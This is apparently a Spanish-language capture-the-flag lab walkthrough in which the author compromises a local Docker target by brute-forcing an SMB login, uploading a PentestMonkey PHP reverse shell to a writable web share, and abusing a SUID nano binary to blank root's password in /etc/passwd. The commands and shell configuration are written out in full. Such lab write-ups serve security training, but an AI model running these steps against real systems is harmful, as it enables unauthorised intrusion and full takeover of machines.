¿Qué veremos en esta máquina?
En este laboratorio práctico, exploraremos tres pasos clave de forma sencilla:
-
Escaneo y enumeración: Identificaremos puertos abiertos y servicios activos, centrándonos en SMB (Samba), el protocolo para compartir archivos en redes.
-
Explotación del servicio SMB: Aprenderemos a explotar fallos comunes en configuraciones de Samba para acceder al sistema, usando herramientas básicas y sin tecnicismos complicados.
-
Post-explotación: Tras acceder, descubriremos cómo aprovechar permisos SUID mal asignados para escalar privilegios y tomar control total de la máquina.
Vamos paso a paso, como siempre: práctico y sin rodeos.
Reconocimiento
Lo primero es identificar los puertos abiertos en el objetivo para saber qué servicios están corriendo. Para ello, usamos nmap:
nmap -p- -n -sV 172.17.0.2 -oG escaneo
Este comando nos escanea todos los puertos y detecta la versión de los servicios. En el resultado vemos que tenemos:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 21:53 UTC
Nmap scan report for 172.17.0.2
Host is up (0.0000090s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
- Puerto 80: Servicio HTTP con Apache (versión 2.4.52 en Ubuntu).
Al acceder, encontramos únicamente la página principal y ningún otro recurso oculto, ya que el fuzzer no nos revela más.
Puertos 139 y 445: Servicios relacionados con Samba.
Para obtener más información de Samba, ejecutamos enum4linux:
enum4linux -a 172.17.0.2
Con este comando descubrimos datos interesantes, como el nombre de dominio y dos usuarios del sistema:
bob y james.
Explotación
Al conocer los usuarios disponibles, aprovechamos para realizar un ataque de fuerza bruta sobre el servicio SMB. Dado que hydra no soporta smbv1, utilizamos el módulo de Metasploit auxiliary/scanner/smb/smb_login
configurándolo de la siguiente manera:
(Si no sabes usar metasploit visita. [INSERTAR GUIA DE METASPLOIT])
Establecemos el usuario
set SMBUser bob
Indicamos la Ip del objetivo:
set RHOST 172.17.0.2
Usamos la lista de palabras rockyou.txt para intentar adivinar la contraseña:
set PASS_FILE /usr/share/wordlists/rockyou.txt
Al ejecutar (run
) y esperar un rato, logramos descubrir la contraseña de bob.
Con las credenciales de bob, empezamos a enumerar los recursos SMB con smbmap:
smbmap -H 172.17.0.2 -u bob -p star
El resultado nos muestra varias carpetas compartidas, entre ellas:
- print$ (solo lectura)
- html (lectura y escritura)
- IPC$ (sin acceso)
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 172.17.0.2:445 Name: 172.17.0.2 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
html READ, WRITE HTML Share
IPC$ NO ACCESS IPC Service (1d60a12564ac server (Samba, Ubuntu))
La carpeta html es la que contiene los archivos de la página web alojada en Apache. Para ver su contenido, usamos:
smbmap -H 172.17.0.2 -u bob -p star -r html
Aquí encontramos, por ejemplo, el archivo index.html
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 172.17.0.2:445 Name: 172.17.0.2 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
html READ, WRITE HTML Share
./html
dr--r--r-- 0 Sat Feb 8 02:15:09 2025 .
dr--r--r-- 0 Thu Apr 11 08:18:46 2024 ..
fr--r--r-- 1832 Thu Apr 11 08:21:42 2024 index.html
IPC$ NO ACCESS IPC Service (1d60a12564ac server (Samba, Ubuntu))
¿Cómo ganamos acceso remoto?
Utilizamos la conocida reverse shell de PentestMonkey. Lo que hacemos es:
- Descargar el archivo
reverse_shell.php
y editarlo para cambiar la IP y el puerto de conexión (por ejemplo, ajustamos$ip = 'nuestra_ip'
y$port = puerto
).
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
- Subimos el archivo al servidor mediante smbclient:
smbclient //172.17.0.2/html -U 'bob%star' -c "put reverse_shell.php"
- Nos ponemos a la escucha con Netcat:
nc -nlvp 4444
- Accedemos al archivo desde el navegador, visitando:
http://172.17.0.2/reverse_shell.php
Esto nos establece una conexión inversa (reverse shell) en el sistema como el usuario www-data.
Mejoramos la interacción con la shell
Para tener una terminal interactiva de calidad, realizamos un tratamiento de TTY con los siguientes comandos:
-
iniciamos una sesión con:
script /dev/null -c bash
-
Presionamos Ctrl + z para enviar la sesión a segundo plano.
-
Ejecutamos:
stty raw -echo;fg
-
Luego restablecemos la terminal con:
reset xterm
-
Finalmente exportamos las variables de entorno necesarias:
export TERM=xterm
export SHELL=bash
Con esto tenemos una shell interactiva y estable en el sistema objetivo.
Post-explotación
¿Qué buscamos ahora?
Con acceso al sistema, queremos escalar privilegios. Un método común es buscar ejecutables con permisos SUID que puedan ser explotados.
Ejecutamos el siguiente comando para listar todos los archivos con permisos SUID:
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/mount
./usr/bin/su
./usr/bin/passwd
./usr/bin/umount
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/nano
Entre los resultados, encontramos varios binarios, destacando nano despues de una busqueda rapida en . Verificamos los permisos de nano con:
ls -l usr/bin/nano
El resultado muestra algo similar a:
-rwsr-xr-x 1 root root 283144 Feb 19 2022 usr/bin/nano
El indicador s
en lugar de x
en la posición de permisos indica que nano tiene el bit SUID activo. Consultando en GTFOBins, vemos que podemos aprovechar nano para editar archivos sensibles.
Para explotar esto llamamos toda la ruta del binario y no le proporcionamos argumentos
/usr/bin/nano /etc/shadow
Revisamos el archivo /etc/shadow y descubrimos que el usuario root no tiene contraseña asignada. Así, editamos el archivo /etc/passwd para quitar la x en la entrada de root. Originalmente aparece así:
root:x:0:0:root:/root:/bin/bash
La modificamos a:
root::0:0:root:/root:/bin/bash
unicamente quitamos la x
Esto nos permite cambiar a usuario root sin necesidad de contraseña.
Finalmente, ejecutamos:
su root
Y comprobamos que ya tenemos acceso como superusuario:
root@d59b46d0af81:/# whoami
root
root@d59b46d0af81:/#
Esta metodología, explicada de forma sencilla, demuestra cómo se pueden encadenar varias técnicas para pasar de un usuario remoto a conseguir privilegios de administrador en un sistema.
Gracias por leerme les deseo un feliz dia. Att:David